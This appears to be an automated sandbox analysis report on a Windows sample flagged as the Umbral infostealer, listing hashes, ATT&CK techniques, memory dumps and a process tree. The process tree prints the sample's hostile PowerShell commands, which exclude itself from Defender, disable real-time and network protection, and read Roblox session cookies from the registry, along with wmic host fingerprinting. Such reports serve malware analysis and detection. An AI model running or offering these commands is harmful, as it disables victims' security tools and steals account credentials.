umbral | e3b085539ea01820a02ac0c6e251e8a4424ee16b6d7b79593e52a63c0d314b84

Analysis

max time kernel
119s
max time network
125s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
04-09-2023 20:03

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General

Target

1hackNova7.40.exe
Size

227KB
MD5

6badeb1e9a87fad28128236eecb46c32
SHA1

d89bb6ceff7d56c176147e62e17107815328a625
SHA256

e3b085539ea01820a02ac0c6e251e8a4424ee16b6d7b79593e52a63c0d314b84
SHA512

e5e92ed460e9b5da48c8100aca7617652bcac2a348042400c380a06cfae4d746c464c4c75fd92542015d6619f83ba7bf51e066ea9d49d412042890e3d2bd0e19
SSDEEP

6144:OloZMCrIkd8g+EtXHkv/iD44KANHdmOhqU9va6vhlb8e1mnii:YoZZL+EP84KANHdmOhqU9va6v3g

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/956-0-0x0000000000170000-0x00000000001B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2104	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2584	powershell.exe
2576	powershell.exe
2456	powershell.exe
2392	powershell.exe
2756	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	956	1hackNova7.40.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeIncreaseQuotaPrivilege	2748	wmic.exe
Token: SeSecurityPrivilege	2748	wmic.exe
Token: SeTakeOwnershipPrivilege	2748	wmic.exe
Token: SeLoadDriverPrivilege	2748	wmic.exe
Token: SeSystemProfilePrivilege	2748	wmic.exe
Token: SeSystemtimePrivilege	2748	wmic.exe
Token: SeProfSingleProcessPrivilege	2748	wmic.exe
Token: SeIncBasePriorityPrivilege	2748	wmic.exe
Token: SeCreatePagefilePrivilege	2748	wmic.exe
Token: SeBackupPrivilege	2748	wmic.exe
Token: SeRestorePrivilege	2748	wmic.exe
Token: SeShutdownPrivilege	2748	wmic.exe
Token: SeDebugPrivilege	2748	wmic.exe
Token: SeSystemEnvironmentPrivilege	2748	wmic.exe
Token: SeRemoteShutdownPrivilege	2748	wmic.exe
Token: SeUndockPrivilege	2748	wmic.exe
Token: SeManageVolumePrivilege	2748	wmic.exe
Token: 33	2748	wmic.exe
Token: 34	2748	wmic.exe
Token: 35	2748	wmic.exe
Token: SeIncreaseQuotaPrivilege	2748	wmic.exe
Token: SeSecurityPrivilege	2748	wmic.exe
Token: SeTakeOwnershipPrivilege	2748	wmic.exe
Token: SeLoadDriverPrivilege	2748	wmic.exe
Token: SeSystemProfilePrivilege	2748	wmic.exe
Token: SeSystemtimePrivilege	2748	wmic.exe
Token: SeProfSingleProcessPrivilege	2748	wmic.exe
Token: SeIncBasePriorityPrivilege	2748	wmic.exe
Token: SeCreatePagefilePrivilege	2748	wmic.exe
Token: SeBackupPrivilege	2748	wmic.exe
Token: SeRestorePrivilege	2748	wmic.exe
Token: SeShutdownPrivilege	2748	wmic.exe
Token: SeDebugPrivilege	2748	wmic.exe
Token: SeSystemEnvironmentPrivilege	2748	wmic.exe
Token: SeRemoteShutdownPrivilege	2748	wmic.exe
Token: SeUndockPrivilege	2748	wmic.exe
Token: SeManageVolumePrivilege	2748	wmic.exe
Token: 33	2748	wmic.exe
Token: 34	2748	wmic.exe
Token: 35	2748	wmic.exe
Token: SeIncreaseQuotaPrivilege	2792	wmic.exe
Token: SeSecurityPrivilege	2792	wmic.exe
Token: SeTakeOwnershipPrivilege	2792	wmic.exe
Token: SeLoadDriverPrivilege	2792	wmic.exe
Token: SeSystemProfilePrivilege	2792	wmic.exe
Token: SeSystemtimePrivilege	2792	wmic.exe
Token: SeProfSingleProcessPrivilege	2792	wmic.exe
Token: SeIncBasePriorityPrivilege	2792	wmic.exe
Token: SeCreatePagefilePrivilege	2792	wmic.exe
Token: SeBackupPrivilege	2792	wmic.exe
Token: SeRestorePrivilege	2792	wmic.exe
Token: SeShutdownPrivilege	2792	wmic.exe
Token: SeDebugPrivilege	2792	wmic.exe
Token: SeSystemEnvironmentPrivilege	2792	wmic.exe
Token: SeRemoteShutdownPrivilege	2792	wmic.exe
Token: SeUndockPrivilege	2792	wmic.exe
Token: SeManageVolumePrivilege	2792	wmic.exe
Token: 33	2792	wmic.exe
Token: 34	2792	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 2584	956	1hackNova7.40.exe	28
PID 956 wrote to memory of 2584	956	1hackNova7.40.exe	28
PID 956 wrote to memory of 2584	956	1hackNova7.40.exe	28
PID 956 wrote to memory of 2576	956	1hackNova7.40.exe	30
PID 956 wrote to memory of 2576	956	1hackNova7.40.exe	30
PID 956 wrote to memory of 2576	956	1hackNova7.40.exe	30
PID 956 wrote to memory of 2456	956	1hackNova7.40.exe	32
PID 956 wrote to memory of 2456	956	1hackNova7.40.exe	32
PID 956 wrote to memory of 2456	956	1hackNova7.40.exe	32
PID 956 wrote to memory of 2392	956	1hackNova7.40.exe	34
PID 956 wrote to memory of 2392	956	1hackNova7.40.exe	34
PID 956 wrote to memory of 2392	956	1hackNova7.40.exe	34
PID 956 wrote to memory of 2748	956	1hackNova7.40.exe	36
PID 956 wrote to memory of 2748	956	1hackNova7.40.exe	36
PID 956 wrote to memory of 2748	956	1hackNova7.40.exe	36
PID 956 wrote to memory of 2792	956	1hackNova7.40.exe	39
PID 956 wrote to memory of 2792	956	1hackNova7.40.exe	39
PID 956 wrote to memory of 2792	956	1hackNova7.40.exe	39
PID 956 wrote to memory of 1928	956	1hackNova7.40.exe	41
PID 956 wrote to memory of 1928	956	1hackNova7.40.exe	41
PID 956 wrote to memory of 1928	956	1hackNova7.40.exe	41
PID 956 wrote to memory of 2756	956	1hackNova7.40.exe	43
PID 956 wrote to memory of 2756	956	1hackNova7.40.exe	43
PID 956 wrote to memory of 2756	956	1hackNova7.40.exe	43
PID 956 wrote to memory of 2104	956	1hackNova7.40.exe	46
PID 956 wrote to memory of 2104	956	1hackNova7.40.exe	46
PID 956 wrote to memory of 2104	956	1hackNova7.40.exe	46

C:\Users\Admin\AppData\Local\Temp\1hackNova7.40.exe
"C:\Users\Admin\AppData\Local\Temp\1hackNova7.40.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1hackNova7.40.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9c01de6509007e22e1345a6138d2d508

SHA1
488156cf4ea87158128d462aff1bcbabebc19221

SHA256
ea25cc865878cc23a9419a615fde4ad438ebf54af7f1b8dd2a6bab8feb41a7ff

SHA512
ce969f4eed535b0846a6878f9d719c1dde9e1c62ce9d6f193a8b5cf6427c1e54d3e93565ff485fe6fac77eeb9df4b9cad46ec08aa710f2cf5aca95a784a5901a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9c01de6509007e22e1345a6138d2d508

SHA1
488156cf4ea87158128d462aff1bcbabebc19221

SHA256
ea25cc865878cc23a9419a615fde4ad438ebf54af7f1b8dd2a6bab8feb41a7ff

SHA512
ce969f4eed535b0846a6878f9d719c1dde9e1c62ce9d6f193a8b5cf6427c1e54d3e93565ff485fe6fac77eeb9df4b9cad46ec08aa710f2cf5aca95a784a5901a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9c01de6509007e22e1345a6138d2d508

SHA1
488156cf4ea87158128d462aff1bcbabebc19221

SHA256
ea25cc865878cc23a9419a615fde4ad438ebf54af7f1b8dd2a6bab8feb41a7ff

SHA512
ce969f4eed535b0846a6878f9d719c1dde9e1c62ce9d6f193a8b5cf6427c1e54d3e93565ff485fe6fac77eeb9df4b9cad46ec08aa710f2cf5aca95a784a5901a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9c01de6509007e22e1345a6138d2d508

SHA1
488156cf4ea87158128d462aff1bcbabebc19221

SHA256
ea25cc865878cc23a9419a615fde4ad438ebf54af7f1b8dd2a6bab8feb41a7ff

SHA512
ce969f4eed535b0846a6878f9d719c1dde9e1c62ce9d6f193a8b5cf6427c1e54d3e93565ff485fe6fac77eeb9df4b9cad46ec08aa710f2cf5aca95a784a5901a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6TTVYJ1JSKC9NZIXYW1T.temp

Filesize
7KB

MD5
9c01de6509007e22e1345a6138d2d508

SHA1
488156cf4ea87158128d462aff1bcbabebc19221

SHA256
ea25cc865878cc23a9419a615fde4ad438ebf54af7f1b8dd2a6bab8feb41a7ff

SHA512
ce969f4eed535b0846a6878f9d719c1dde9e1c62ce9d6f193a8b5cf6427c1e54d3e93565ff485fe6fac77eeb9df4b9cad46ec08aa710f2cf5aca95a784a5901a

Download Submit
memory/956-1-0x000007FEF5FC0000-0x000007FEF69AC000-memory.dmp

Filesize
9.9MB

Download
memory/956-2-0x000000001B150000-0x000000001B1D0000-memory.dmp

Filesize
512KB

Download
memory/956-82-0x000007FEF5FC0000-0x000007FEF69AC000-memory.dmp

Filesize
9.9MB

Download
memory/956-0-0x0000000000170000-0x00000000001B0000-memory.dmp

Filesize
256KB

Download
memory/956-30-0x000000001B150000-0x000000001B1D0000-memory.dmp

Filesize
512KB

Download
memory/956-28-0x000007FEF5FC0000-0x000007FEF69AC000-memory.dmp

Filesize
9.9MB

Download
memory/2392-60-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2392-57-0x000007FEEDA20000-0x000007FEEE3BD000-memory.dmp

Filesize
9.6MB

Download
memory/2392-63-0x000007FEEDA20000-0x000007FEEE3BD000-memory.dmp

Filesize
9.6MB

Download
memory/2392-62-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2392-61-0x000007FEEDA20000-0x000007FEEE3BD000-memory.dmp

Filesize
9.6MB

Download
memory/2392-59-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2392-58-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2456-48-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2456-44-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2456-50-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2456-49-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2456-47-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2456-46-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2456-45-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2576-26-0x000007FEEDA20000-0x000007FEEE3BD000-memory.dmp

Filesize
9.6MB

Download
memory/2576-27-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2576-32-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2576-31-0x000007FEEDA20000-0x000007FEEE3BD000-memory.dmp

Filesize
9.6MB

Download
memory/2576-21-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2576-23-0x000007FEEDA20000-0x000007FEEE3BD000-memory.dmp

Filesize
9.6MB

Download
memory/2576-29-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2576-22-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2576-24-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2576-25-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2584-9-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-8-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2584-10-0x0000000001D20000-0x0000000001DA0000-memory.dmp

Filesize
512KB

Download
memory/2584-13-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-14-0x0000000001D20000-0x0000000001DA0000-memory.dmp

Filesize
512KB

Download
memory/2584-15-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-12-0x0000000001D20000-0x0000000001DA0000-memory.dmp

Filesize
512KB

Download
memory/2584-11-0x0000000001D20000-0x0000000001DA0000-memory.dmp

Filesize
512KB

Download
memory/2584-7-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2756-73-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-74-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2756-75-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-76-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2756-77-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2756-78-0x000007FEEE3C0000-0x000007FEEED5D000-memory.dmp

Filesize
9.6MB

Download
memory/2756-72-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download